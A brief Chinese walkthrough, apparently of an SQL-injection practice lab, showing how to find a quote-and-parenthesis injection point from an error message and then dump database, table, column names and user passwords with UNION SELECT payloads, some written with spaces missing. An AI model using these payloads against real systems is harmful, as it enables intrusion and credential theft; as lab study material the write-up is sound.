传入?id=1和2-1发现回显不一样,排除字符型注入,直接裸单引号注入发现报错
错误内容为'1'') LIMIT 0,1
把1’还原成$id并把括号配对成功可以推断原题可能为
('$id')LIMIT0,1所以还需要闭合小括号1')--+回显正常
接下来和前两道题一样,判断列数,找数据库名,表名,字段内容,显示用户信息
?id=1') order by 3--+ ?id=1')order by4--+?id=-1')unionselect1,1,database()--+?id=-1') union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' --+?id=-1') union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' --+?id=-1')unionselect1,1,group_concat(username,id,password)fromusers--+